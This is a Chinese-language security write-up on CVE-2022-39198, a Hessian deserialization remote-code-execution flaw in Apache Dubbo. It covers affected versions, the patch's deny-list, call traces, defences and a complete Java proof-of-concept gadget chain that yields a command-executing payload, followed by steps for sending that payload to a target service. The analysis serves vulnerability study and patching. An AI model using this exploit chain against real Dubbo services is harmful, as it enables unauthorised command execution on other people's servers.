CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass
字数 1937 2025-08-26 22:12:02

Apache Dubbo Hessian 反序列化漏洞分析 (CVE-2022-39198)

漏洞概述

CVE-2022-39198 是 Apache Dubbo 中 Hessian 反序列化组件的一个安全漏洞,影响版本范围:

  • 2.7.x < version < 2.7.18
  • 3.0.x < version < 3.0.12
  • 3.1.x < version <= 3.1.0

该漏洞源于 Dubbo 内置的 hessian-lite 组件在 3.2.12 及以前版本中存在反序列化安全问题,攻击者可通过精心构造的序列化数据实现远程代码执行(RCE)。

漏洞背景

Hessian 反序列化机制

Hessian 是一种二进制序列化协议,Dubbo 使用其作为默认的序列化方式。在反序列化过程中,Hessian 会按照特定规则将二进制数据还原为 Java 对象。

漏洞根源

漏洞的根本原因是 hessian-lite 组件维护的黑名单机制不完善,导致某些危险类可以被反序列化并触发恶意行为。修复补丁在 resources/DENY_CLASS 文件中新增了多个黑名单包名,包括:

  • org.apache.commons.codec.
  • org.aspectj.
  • org.dom4j
  • org.junit.
  • org.mockito.
  • org.thymeleaf.
  • ognl.
  • sun.print.

漏洞分析

利用链分析

该漏洞的利用链主要依赖于以下几个关键点:

  1. 触发点:通过 HashMap/HashSet/HashTable 等类的 equals/compareTo 方法触发后续调用链。

  2. 关键方法调用

    • XString#equals 方法触发 JSONObject#toString
    • JSON#toString 方法触发 Fastjson 的反序列化过程
    • Fastjson 反序列化过程中调用任意 getter 方法
  3. 最终利用点sun.print.UnixPrintServiceLookup 类的 getDefaultPrintService 方法,该方法最终会执行系统命令。

详细调用链

  1. 初始触发

    • Hessian 反序列化 HashMap 对象
    • HashMap#putVal 方法调用 equals 方法比较键值
  2. XString.equals 阶段

    toString:1071, JSON (com.alibaba.fastjson)
    equals:392, XString (com.sun.org.apache.xpath.internal.objects)
    equals:495, AbstractMap (java.util)
    putVal:635, HashMap (java.util)
    put:612, HashMap (java.util)
    
  3. Fastjson 反序列化阶段

    write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
    write:271, MapSerializer (com.alibaba.fastjson.serializer)
    write:44, MapSerializer (com.alibaba.fastjson.serializer)
    write:312, JSONSerializer (com.alibaba.fastjson.serializer)
    toJSONString:1077, JSON (com.alibaba.fastjson)
    
  4. 命令执行阶段

    • 调用 UnixPrintServiceLookup#getDefaultPrintService
    • 最终通过 Runtime.getRuntime().exec() 执行系统命令

关键类分析

UnixPrintServiceLookup 类

  • 位于 sun.print 包下
  • 包含 getDefaultPrintService 方法,该方法会:
    • 检查 CUPSPrinter.isCupsRunning() (需要确保返回 false)
    • 检查操作系统不是 MAC OS 或 SUN OS
    • 调用 getDefaultPrinterNameBSD 方法
    • 最终执行 lpcFirstCom 属性中的命令

漏洞利用

利用条件

  1. 目标系统不是 MAC OS 或 SUN OS
  2. CUPS 打印服务未运行
  3. 目标系统存在 /bin/sh/usr/bin/sh

POC 分析

public class Test {
    public static void setFieldValue(Object obj, String filedName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(filedName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) {
        try {
            // 要执行的命令
            String cmd = "touch /tmp/test";
            
            // 使用Unsafe创建UnixPrintServiceLookup实例
            Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafe.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafe.get(null);
            Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
            
            // 设置必要属性
            setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
            setFieldValue(unixPrintServiceLookup, "osname", "xx");
            setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
            
            // 构造触发链
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("xx", unixPrintServiceLookup);
            
            XString xString = new XString("xx");
            HashMap map1 = new HashMap();
            HashMap map2 = new HashMap();
            map1.put("yy", jsonObject);
            map1.put("zZ", xString);
            map2.put("yy", xString);
            map2.put("zZ", jsonObject);
            
            // 构造最终的HashMap
            HashMap s = new HashMap();
            setFieldValue(s, "size", 2);
            
            // 使用反射设置内部table
            Class nodeC = Class.forName("java.util.HashMap$Node");
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
            
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
            setFieldValue(s, "table", tbl);
            
            // 序列化为Hessian格式
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
            hessianOutput.setSerializerFactory(new SerializerFactory());
            hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
            hessianOutput.writeObject(s);
            hessianOutput.flushBuffer();
            
            System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

利用步骤

  1. 构造恶意 UnixPrintServiceLookup 对象,设置要执行的命令
  2. 将其放入 JSONObject
  3. 构造特殊的 HashMap 结构触发 equals 调用链
  4. 使用 Hessian 序列化该 HashMap
  5. 将序列化后的数据发送给目标 Dubbo 服务

防御措施

  1. 升级修复

    • 升级到 Dubbo 2.7.18、3.0.12 或 3.1.1 及以上版本
    • 升级 hessian-lite 到 3.2.13 及以上版本
  2. 临时缓解

    • 配置 Dubbo 使用其他序列化方式(如 Protobuf)
    • 增强 Hessian 的黑名单机制
  3. 网络防护

    • 限制 Dubbo 服务的网络访问
    • 使用防火墙规则限制可疑请求

总结

CVE-2022-39198 是一个典型的反序列化漏洞,利用 Dubbo 默认的 Hessian 序列化机制和 JDK 内部类的危险方法实现 RCE。漏洞利用涉及多个技术点:

  • Hessian 反序列化机制
  • Fastjson 的反序列化特性
  • JDK 内部类的利用
  • 复杂的对象构造和反射技术

理解该漏洞有助于深入掌握 Java 反序列化漏洞的原理和防御方法。

Apache Dubbo Hessian 反序列化漏洞分析 (CVE-2022-39198) 漏洞概述 CVE-2022-39198 是 Apache Dubbo 中 Hessian 反序列化组件的一个安全漏洞,影响版本范围: 2.7.x < version < 2.7.18 3.0.x < version < 3.0.12 3.1.x < version <= 3.1.0 该漏洞源于 Dubbo 内置的 hessian-lite 组件在 3.2.12 及以前版本中存在反序列化安全问题,攻击者可通过精心构造的序列化数据实现远程代码执行(RCE)。 漏洞背景 Hessian 反序列化机制 Hessian 是一种二进制序列化协议,Dubbo 使用其作为默认的序列化方式。在反序列化过程中,Hessian 会按照特定规则将二进制数据还原为 Java 对象。 漏洞根源 漏洞的根本原因是 hessian-lite 组件维护的黑名单机制不完善,导致某些危险类可以被反序列化并触发恶意行为。修复补丁在 resources/DENY_CLASS 文件中新增了多个黑名单包名,包括: org.apache.commons.codec. org.aspectj. org.dom4j org.junit. org.mockito. org.thymeleaf. ognl. sun.print. 漏洞分析 利用链分析 该漏洞的利用链主要依赖于以下几个关键点: 触发点 :通过 HashMap / HashSet / HashTable 等类的 equals / compareTo 方法触发后续调用链。 关键方法调用 : XString#equals 方法触发 JSONObject#toString JSON#toString 方法触发 Fastjson 的反序列化过程 Fastjson 反序列化过程中调用任意 getter 方法 最终利用点 : sun.print.UnixPrintServiceLookup 类的 getDefaultPrintService 方法,该方法最终会执行系统命令。 详细调用链 初始触发 : Hessian 反序列化 HashMap 对象 HashMap#putVal 方法调用 equals 方法比较键值 XString.equals 阶段 : Fastjson 反序列化阶段 : 命令执行阶段 : 调用 UnixPrintServiceLookup#getDefaultPrintService 最终通过 Runtime.getRuntime().exec() 执行系统命令 关键类分析 UnixPrintServiceLookup 类 : 位于 sun.print 包下 包含 getDefaultPrintService 方法,该方法会: 检查 CUPSPrinter.isCupsRunning() (需要确保返回 false) 检查操作系统不是 MAC OS 或 SUN OS 调用 getDefaultPrinterNameBSD 方法 最终执行 lpcFirstCom 属性中的命令 漏洞利用 利用条件 目标系统不是 MAC OS 或 SUN OS CUPS 打印服务未运行 目标系统存在 /bin/sh 或 /usr/bin/sh POC 分析 利用步骤 构造恶意 UnixPrintServiceLookup 对象,设置要执行的命令 将其放入 JSONObject 中 构造特殊的 HashMap 结构触发 equals 调用链 使用 Hessian 序列化该 HashMap 将序列化后的数据发送给目标 Dubbo 服务 防御措施 升级修复 : 升级到 Dubbo 2.7.18、3.0.12 或 3.1.1 及以上版本 升级 hessian-lite 到 3.2.13 及以上版本 临时缓解 : 配置 Dubbo 使用其他序列化方式(如 Protobuf) 增强 Hessian 的黑名单机制 网络防护 : 限制 Dubbo 服务的网络访问 使用防火墙规则限制可疑请求 总结 CVE-2022-39198 是一个典型的反序列化漏洞,利用 Dubbo 默认的 Hessian 序列化机制和 JDK 内部类的危险方法实现 RCE。漏洞利用涉及多个技术点: Hessian 反序列化机制 Fastjson 的反序列化特性 JDK 内部类的利用 复杂的对象构造和反射技术 理解该漏洞有助于深入掌握 Java 反序列化漏洞的原理和防御方法。